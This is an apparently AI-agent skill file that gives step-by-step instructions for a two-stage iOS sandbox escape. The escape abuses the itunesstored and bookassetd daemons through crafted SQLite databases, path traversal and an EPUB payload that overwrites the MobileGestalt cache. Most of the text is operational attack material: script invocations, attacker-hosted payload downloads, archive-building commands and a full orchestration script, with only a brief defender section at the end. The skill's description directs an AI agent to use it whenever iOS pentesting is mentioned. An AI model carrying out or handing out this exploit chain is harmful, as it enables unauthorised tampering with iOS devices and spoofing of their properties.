| name | ios-itunesstored-bookassetd-sandbox-escape |
| description | iOS sandbox escape via itunesstored and bookassetd daemons. Use this skill whenever the user mentions iOS pentesting, sandbox escapes, itunesstored, bookassetd, AFC file access, SQLite database manipulation, or wants to exploit the downloads.28.sqlitedb/BLDatabaseManager.sqlite vulnerability chain. This works on iOS up to 26.2b1 and enables arbitrary file writes to mobile-owned paths via crafted SQLite databases and EPUB payloads. |
iOS itunesstored & bookassetd Sandbox Escape
Overview
This skill guides you through exploiting a two-stage sandbox escape in iOS that abuses itunesstored (downloads manager) and bookassetd (Books/iBooks asset manager). Both daemons blindly trust user-writable SQLite metadata, allowing arbitrary file writes to most mobile-owned paths in /private/var/.
Key capabilities:
- Works on iOS up to at least 26.2b1 (tested on iPhone 12 / iOS 26.0.1)
- Requires only AFC-level access (USB file copy) or any foothold allowing SQLite replacement
- Survives reboots and enables tampering with system group caches like
systemgroup.com.apple.mobilegestaltcache
- Can spoof device properties or persist configuration
Prerequisites
-
Local filesystem access to /var/mobile/Media/Downloads/ and /var/mobile/Media/Books/ via:
- AFC clients (3uTools, i4.cn,
afcclient)
- Any prior compromise allowing file writes
-
HTTP server hosting attacker files (BLDatabaseManager.sqlite, iTunesMetadata.plist, crafted EPUB)
-
Ability to reboot the device multiple times (each daemon reloads its database on boot)
-
Books system-group UUID (discovered via syslog - see Stage 1)
Stage 1 – Abusing downloads.28.sqlitedb via itunesstored
itunesstored processes /var/mobile/Media/Downloads/downloads.28.sqlitedb. The asset table stores URL + destination metadata and is treated as trusted input. Crafting a row pointing to an attacker URL with local_path set to the Books SystemGroup causes itunesstored to download and overwrite the Books database on boot.
Step 1: Locate the Books SystemGroup UUID
pymobiledevice3 syslog collect logs.logarchive
Record the <UUID> for use in the SQL payload.
Step 2: Craft the Malicious Database
Use the helper script to generate the malicious downloads.28.sqlitedb:
python scripts/craft_downloads_db.py \
--uuid <BOOKS_SYSTEMGROUP_UUID> \
--attacker-host https://ATTACKER_HOST \
--output downloads.28.sqlitedb
Key fields in the INSERT:
url: Attacker endpoint returning malicious BLDatabaseManager.sqlite
local_path: Books system-group BLDatabaseManager.sqlite path
- Control flags: Keep defaults (
asset_type='media', path_extension='epub')
Step 3: Deploy Stage 1
- Delete stale
/var/mobile/Media/Downloads/* entries to avoid races
- Replace
downloads.28.sqlitedb with the crafted DB via AFC
- Reboot →
itunesstored downloads the Stage 2 database and drops /var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist
- Copy that plist to
/var/mobile/Media/Books/iTunesMetadata.plist (Stage 2 expects it there)
Stage 2 – Abusing BLDatabaseManager.sqlite via bookassetd
bookassetd owns broader filesystem entitlements and trusts the ZBLDOWNLOADINFO table. By inserting a fake purchase row with attacker URLs and a path traversal in ZPLISTPATH, the daemon downloads your EPUB and unpacks metadata into any mobile-owned path reachable through ../../.. escape sequences.
Step 1: Craft the Malicious Books Database
Use the helper script to generate BLDatabaseManager.sqlite:
python scripts/craft_books_db.py \
--attacker-host https://ATTACKER_HOST \
--target-path /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library \
--output BLDatabaseManager.sqlite
Important fields:
ZASSETPATH: On-disk EPUB location (/var/mobile/Media/Books/asset.epub)
ZURL/ZPERMLINK: Attacker URLs hosting the EPUB and auxiliary plist
ZPLISTPATH: Path traversal base (e.g., ../../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library)
- Purchase metadata: Mimic legitimate entries so the daemon accepts the row
Step 2: Deploy Stage 2
- The malicious DB is already in place from Stage 1
- Reboot →
bookassetd downloads asset.epub to /var/mobile/Media/Books/
- Reboot again →
bookassetd processes the asset, follows ZPLISTPATH, and writes EPUB contents to the targeted SystemGroup path
Crafting the EPUB Payload
bookassetd respects the EPUB ZIP format: mimetype must be the first uncompressed entry. Build a directory tree mirroring the desired path relative to ZPLISTPATH.
Structure
Caches/
├── mimetype
└── com.apple.MobileGestalt.plist
Build the Archive
Use the helper script:
python scripts/build_epub_payload.py \
--payload com.apple.MobileGestalt.plist \
--output hax.epub
Or manually:
mkdir -p Caches
echo -n 'application/epub+zip' > Caches/mimetype
cp YOUR_PAYLOAD.plist Caches/com.apple.MobileGestalt.plist
zip -X0 hax.epub Caches/mimetype
zip -Xr9D hax.epub Caches/com.apple.MobileGestalt.plist
mimetype: Must contain literal application/epub+zip
Caches/com.apple.MobileGestalt.plist: Attacker payload landing at .../Library/Caches/com.apple.MobileGestalt.plist
Full Orchestration Workflow
- Prepare files on attacker HTTP server and craft both SQLite DBs with host/UUID-specific values
- Replace
downloads.28.sqlitedb on device and reboot → Stage 1 downloads malicious BLDatabaseManager.sqlite
- Copy
iTunesMetadata.plist to /var/mobile/Media/Books/iTunesMetadata.plist (repeat if daemon deletes it)
- Reboot again →
bookassetd downloads asset.epub using Stage 2 metadata
- Reboot a third time →
bookassetd processes the asset, follows ZPLISTPATH, writes EPUB contents to target
- Verify by reading the overwritten plist or observing MobileGestalt-derived property changes
Use the orchestration script for automation:
bash scripts/orchestrate_attack.sh \
--uuid <BOOKS_SYSTEMGROUP_UUID> \
--attacker-host https://ATTACKER_HOST \
--target-path /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library \
--payload com.apple.MobileGestalt.plist
Tooling & Operational Notes
pymobiledevice3 syslog collect – Extract log archives to discover Books SystemGroup UUID
- Console.app – Filter for
bookassetd [Database]: Store is at ... to recover exact container path
- AFC clients (
afcclient, 3uTools, i4.cn) – Push/pull SQLite DBs and plist files over USB without jailbreak
zip – Enforce EPUB ordering constraints when packaging payloads
- Public PoC – https://github.com/hanakim3945/bl_sbx ships baseline SQLite/EPUB templates
Detection & Mitigation
For defenders:
- Treat
downloads.28.sqlitedb and BLDatabaseManager.sqlite as untrusted input
- Validate
local_path/ZPLISTPATH stay within approved sandboxes
- Reject fully qualified paths or traversal tokens
- Monitor for AFC writes replacing these databases
- Watch for unexpected downloads by
itunesstored/bookassetd after boot
- Harden
bookassetd unpacking with realpath() before writing
- Restrict AFC/USB file copy or require user interaction for metadata replacement
References